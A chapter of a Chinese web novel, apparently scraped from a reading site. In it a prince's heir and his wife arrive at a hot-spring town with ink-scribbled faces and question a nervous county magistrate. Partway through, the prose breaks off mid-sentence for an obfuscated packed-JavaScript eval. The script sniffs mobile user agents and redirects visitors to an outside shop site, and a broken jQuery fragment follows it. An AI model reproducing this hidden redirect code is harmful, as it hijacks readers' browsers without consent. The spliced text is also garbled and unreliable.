付允年和苏暮纹先后从马车里出来后,站在众人面前。
挽月摘星和路明三人一看,纷纷咳嗽提醒。
——两人脸上皆是左一画右一笔的,不是眼睛被圈成熊猫,就是嘴上被画了两撇胡子。
三人咳到最后,实在忍不住了,笑出了声。
苍县令其实也想笑,但碍于颜面,对面是顶头上司的儿子,他不好得罪,于是只能全身用力地站在那里忍笑。
偏这两人像是刚睡醒的样子,迷迷糊糊的,见周围人的状态不对,才相互对试一下。这下可看见对方的模样了,大叫一声不好,忙往马车里钻。
“那什么,苍县令啊,今日我跟我夫人不方便待客,改日再见啊!”付允年坐在马车里朝外喊道。
见势,路明也赶忙凑到苍县令的跟前,行礼道歉:“对不住啊苍县令,我们家世子和世子妃今日……属实是有点状况,见谅见谅。”
苍霖亦是尴尬地赔笑,待世子一行人走远后,他犹豫地看向身后跟着的人。
他是今年刚上任的新官,年仅二十有三,很是年轻,这还是头一次见到定南王家的人。本想积极主动一点,博一个好印象,好让今后仕途更顺些,却没想到会撞见这么一幕,一时有些无措。
但他今日带来的人,也没怎么见过世子,都大眼瞪小眼。
可怜苍县令要花上一整天去琢磨这世子爷有没有生他气。
马车上——
“要死,付允年你怎么不提醒我?”苏暮纹忙取出帕子擦脸,可就是越擦越脏。
“我还问你怎么不提醒我呢!”付允年慌乱中也想找东西擦脸,可他没带手帕,也不能用衣服擦,只好坐在原地抱怨,“那个县令也是,做什么特地来接我们,我们又不是来视察的。”
苏暮纹不知道自己脸上的情况,只凭感觉胡乱擦了几下,觉得没问题了,抬头去向付允年求证:“帮我看看,现在还有墨迹吗?”
付允年闻声投来视线,谁知,只一眼,他就笑得前仰马翻。
“噗哈哈哈哈哈哈哈哈——!!”
见他笑成这幅样子,苏暮纹便知自己脸上还是脏的,急得又举起帕子来擦。
可每多擦一下,付允年就多笑一下。
“哈哈哈哈哈哈哈苏暮纹——”
“苏暮纹你要笑死我了哈哈哈哈哈哈哈哈哈!”
“……”
气得苏暮纹索性不擦了,把帕子一扔,砸向付允年,他下意识护住脸,顺势接住了手帕。
“你真该改改你这打人打脸的毛病,破相了怎么办?”
可苏暮纹却不似平常那样同他对骂,一反常态的安静。
待付允年把那手帕从脸上扯下来,就看到了一个眼泪汪汪的苏暮纹。
顿时,付允年感觉自己像被雷劈了一般,僵在原地,想开口说话,却是舌头都捋不直了。
“怎、怎么还哭了?”付允年收了刚才的嬉皮笑脸,小心翼翼将手帕递过去。
苏暮纹不理他,猛地把自己那张已经布满墨渍的手帕拽回来,带着哭腔小声嘀咕:“丢死人了……”
“那也不是只有你丢人嘛,不然你看我的脸,快看。”付允年把自己的脸送到苏暮纹眼前,“我脸上的图案是你画的,肯定比你的好笑多了。”
苏暮纹分了他一个眼神,看到自己前不久才亲笔画在他脸上的乌龟,再一对比付允年给她画的小花。
嗯……确实比她脸上的好笑。
她掩嘴轻咳一声,瞥见一切罪魁祸首——花牌。
这是一种流行于京城官家幼年子弟间的小游戏,也就是两人轮流猜花牌上的花名,并说出一句对应的诗句,猜错或说不出诗句都会受罚。很无聊的一种游戏,大抵在总角之年就会对小朋友失去吸引力。
方才她两人在车上觉得无聊,付允年不知从什么地方找出了一叠花牌,提议用其来消磨时光。
于是两人就开始你一张我一张地猜了起来,至于惩罚嘛,付允年顺手拿起笔就往苏暮纹脸上画,你来我往了几个回合后,两人皆成了大花猫。
两只大花猫玩累了,倒头就睡,原本是打算到目的地了再清洗脸上的墨渍,谁知半路杀出一个什么姓苍的县令,这才有了刚刚尴尬的一幕。
苏暮纹赌气般地拍了桌上那叠花牌一下:“都怪你,多大了还玩花牌。”
付允年不服道:“还说我,你刚不也玩得挺开心吗?”说着,他把花牌收了起来。
马车继续行驶,又颠簸了约莫十公里后,总算是到了目的地。
越溪此地温泉闻名大康,素来号称“越溪温泉甲天下”,再加上是定南王的封地之一,因而在越溪是置办了一处宅邸的。
宅邸的规模不算大,但也绝不会委屈人。
这小县城的百姓们平日里没怎么见过大人物,因而,付允年两人乘的马车甫一驶入县城,就吸引了无数的目光。
直到定南王府门外,一路都围了不少人,这可给马车中的两只大花猫出了不小的难题。
总不能让越溪百姓看到变成大花猫的定南王世子夫妇吧?
无奈,待马车停下后,苏暮纹只匆匆抬头看了眼那写着“定南王府”的牌匾,便用手帕遮着脸快速进了府。
付允年原本在苍县令面前丢了人就已经够难堪的了,现下他可再不能让更多人看到这大花脸,只好问苏暮纹要了张手帕,也捂着脸出马车。
按说苏暮纹一个女儿家用手帕遮脸还尚且可以解释,可付允年的举动却是实打实的反常,落在百姓眼里,那可是什么说法都冒出来了。
待两人梳洗完毕,外面关于定南王夫妇为何掩面的猜测已是传得沸沸扬扬。
有说两人丑如夜叉,是一对歪瓜裂枣的;有说两人胆小如鼠,当不得大任……
苏暮纹坐在梳妆台前,听着挽月摘星同她谈及传闻,末了,幽幽地看向坐在不远处的付允年。
感受到对方的视线,付允年抬头疑惑道:“做什么这样看我?”
“就是发现,离你近了,容易招来流言蜚语。”
“……”
付允年没有立即答话,他饮完杯中的茶后,朝苏暮纹笑了一下,才道:“谁叫咱们是夫妻呢。”
他这贱兮兮的话成功收获了苏暮纹的一记眼光。
苍县令还是不知道定南王世子为何突然到越溪来,隔天晚上他就又带着几个官员来拜访了。
这回两人不是大花猫,而是规规整整地坐在大厅中待客。
付允年虽是定南王世子,但却被养得很是闲散,平日里也很少与这些官员打交道,更多时候他是混迹于同他一般的公子哥之列。
可这并不代表他是个完全不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205655|150927||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同官员交流的草包。
苍霖落座后,第一件事果然是问他们此行的目的。
“泡温泉。”语气上扬,还是平时那副玩世不恭的样子,但却是收敛过的了。
付允年言简意赅地表明了来意,谁知苍县令身边的一个官员浑身微不可查地一震。
苏暮纹也是第一次同官员打交道,因此,在付允年与苍霖交流时,她就在仔细观察着来客们的状态,自然是将那个官员的反应看在眼里了。
苍县令听了付允年的解释,皮笑肉不笑跟着重复道:“泡温泉啊,泡温泉好,咱们越溪的温泉那可是出了名的舒服……”
付允年抿了口茶,看也不看苍霖,开口道:“苍县令,你紧张什么?”
苍霖:“我……”
“怎么,本世子泡个温泉,会给你带来这样大的压力吗?”说着,付允年将空茶杯不轻不重地扣在桌上。
苍霖吓得立刻跪在地上,头低着,道:“世子赎罪,下官失礼。下官是怕哪里做得不够周到,唯恐怠慢了世子……”
付允年轻笑一声:“苍大人这是什么意思,怎么就跪下了?本世子只是关心一下下属的状态,大人就算再受宠若惊,也不必行此大礼吧。”
闻此言,苍霖便知付允年不打算追究了,暗自松了口气,谢过后又重新坐在了位置上。
汗还没擦完,只见王府的下人进来禀报有人求见苍县令。
苍霖下意识要赶人,却被付允年拦住:“诶,既是专门来找苍大人的,想必是什么要事,还不赶紧放人进来。”
片刻后,一个侍卫打扮的人被带到大厅,他向付允年和苏暮纹行了一礼。
付允年看向苍霖:“苍大人,你的人?”
苍霖赶忙点头:“是我官府中的人。小勇,什么事这么急?”
得了付允年首肯,小勇从地上站起,面露难色道:“苍大人,舒家的公子闹着要上吊……”他说着,还时不时斜眼去观察付允年,似乎在斟酌什么该说什么不该说。
付允年和苏暮纹对视一眼。
什么情况?
付允年:“可知道缘由?”
这回,不等小勇回答,苍霖却是抢答道:“多半是为着些儿女情长的事,前不久舒夫人还跟我提过,世子不必惊慌。”
付允年一挑眉,道:“哦?倒是没想到,苍大人连这种事都管,还真是亲民。”
苍霖一时竟不知如何作答。
好在付允年并不准备为难他:“好了,既是急事,那苍大人赶紧去吧。”
苍霖这才算松了口气,行了一礼便离开了王府。
“有鬼。”苏暮纹方才一直没怎么说话,将在场官员的神态尽收眼底。
付允年笑笑,反问道:“做官的有几个没鬼?不过我倒是好奇,是什么鬼能让这县令如此紧张。”
这时,摘星从屋外走到苏暮纹身边,道:“小姐,泡温泉的事宜已经准备好,只待您和世子吩咐。”
这话付允年也听到了,他摆摆手道:“罢了,横竖纸包不住火,该知道的迟早会知道。想那么多有的没的,还不如做正事。”
苏暮纹为他的心大感到无奈,但仔细想来,确实与其瞎猜,还不如顺其自然。
但下一刻她就自然不起来了。
因为付允年贼兮兮道:“夫人,共浴吧。”